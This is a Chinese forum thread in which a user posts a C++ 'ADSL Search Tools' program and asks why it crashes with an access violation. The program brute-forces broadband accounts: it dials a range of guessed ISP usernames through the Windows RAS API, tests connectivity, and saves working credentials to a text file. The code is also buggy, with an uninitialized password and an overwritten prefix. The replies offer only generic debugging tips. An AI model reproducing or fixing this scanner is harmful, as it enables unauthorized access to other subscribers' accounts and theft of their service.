宽带扫号程序存在溢出情况,请问怎么解决

C++语言 码拜 9年前 (2015-05-11) 986次浏览 0个评论
c
#define _CRT_SECURE_NO_DEPRECATE
#define _AFXDLL

#include <windows.h>
#include <stdio.h>
#include <Ras.h>
#pragma comment(lib,"rasapi32.lib") 
#include <wininet.h>

int CheckIsNetWorking();
void saveadsl(char user[20], char pass[20]);

void search()
{
	long i;
	char prefix[10];
	long suffixstart, suffixstop;
	char user[20], pass[20];
	char userl[10];
	puts("Welcome to ADSL Search Tools!");
	puts("please input the prefix(such as:02700)");
	fflush(stdin);
	gets(prefix);
	puts("The predix has been saved!");
	puts("Now you should input the suffix:(such as:980000)");
	puts("please input the start number:");
	scanf("%d", &suffixstart);
	puts("please input the final number");
	scanf("%d", &suffixstop);

	puts("starting...");

	for (i = suffixstart; i < suffixstop; i++)
	{
		_itoa(i, userl, 10);
		memset(user, 0, sizeof(user));
		strcpy(user, prefix);
		strcpy(user, userl);
		printf("Testing: %s", user);

		//如果想自动请将上面的代码直接替换成你的用户名和密码 
		RASDIALPARAMSA rdParams;
		rdParams.dwSize = sizeof(RASDIALPARAMSA);
		strcpy(rdParams.szEntryName, "宽带连接"); //连接名称是你的拨号名称
		rdParams.szPhoneNumber[0] = ""\0"";
		rdParams.szCallbackNumber[0] = ""\0"";
		rdParams.szDomain[0] = ""\0"";
		strcpy(rdParams.szUserName, user);
		strcpy(rdParams.szPassword, pass);

		HRASCONN hRscon = NULL;
		DWORD retn = RasDialA(NULL, NULL, &rdParams, NULL, NULL, &hRscon);

		if (retn == 0)
		{
			puts("A ADSL number find!  Attempting to link to Interenet...");
			if (CheckIsNetWorking())
			{
				puts("Link to interenet successfully!");
				puts("Saving to file...");
				saveadsl(user,pass);
				//断开函数
				DWORD off= RasHangUp(hRscon);
				if (off==0)
				{
				printf("连接已断开...\n");
				}
				else
				printf("断开连接出错...\n");
			}
			else
			{
				//断开函数
				DWORD off= RasHangUp(hRscon);
				if (off==0)
				{
				printf("连接已断开...\n");
				}
				else
				printf("断开连接出错...\n");
			}
		}
		printf("连接出错...\n");
	}
}

void saveadsl(char user[20],char pass[20])
{
	FILE *fp;
	fp = fopen("D:\adsl.txt", "a +" );
	fprintf(fp, "username:%s     password:%s", user, pass);
	puts("Saved successfully!");
	fclose(fp);
}

int CheckIsNetWorking()
{
	if (system("ping www.baidu.com"))
		return 0;
	else
		return 1;
}

int main(int argc, char *argv[])
{
	search();
	return 0;
}

“Search ADSL.exe”(Win32):  已加载“C:\Users\Chu\Documents\Visual Studio 2013\Projects\Search ADSL\Debug\Search ADSL.exe”。已加载符号。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\ntdll.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\kernel32.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\KernelBase.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\rasapi32.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\msvcr120d.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\msvcrt.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\combase.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\advapi32.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\rasman.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\sechost.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\rpcrt4.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\ws2_32.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\sspicli.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\nsi.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\cryptbase.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\bcryptprimitives.dll”。无法查找或打开 PDB 文件。
“Search ADSL.exe”(Win32):  已加载“C:\Windows\SysWOW64\rtutils.dll”。无法查找或打开 PDB 文件。
0x60F9BBC3 (rasapi32.dll) (Search ADSL.exe 中)处的第一机会异常:  0xC0000005:  读取位置 0xCCCCCCCC 时发生访问冲突。
0x60F9BBC3 (rasapi32.dll) (Search ADSL.exe 中)处有未经处理的异常:  0xC0000005:  读取位置 0xCCCCCCCC 时发生访问冲突。

15分
运行问题?单步调试
引用 1 楼 yy251745080 的回复:

运行问题?单步调试

的确是单步调试,代码之后的行就是单步的错误信息

15分
崩溃的时候在弹出的对话框按相应按钮进入调试,按Alt+7键查看Call Stack里面从上到下列出的对应从里层到外层的函数调用历史。双击某一行可将光标定位到此次调用的源代码或汇编指令处,看不懂时双击下一行,直到能看懂为止。
已经搞定,还是感谢大家

CodeBye 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明宽带扫号程序存在溢出情况,请问怎么解决
喜欢 (0)
[1034331897@qq.com]
分享 (0)

文章评论已关闭!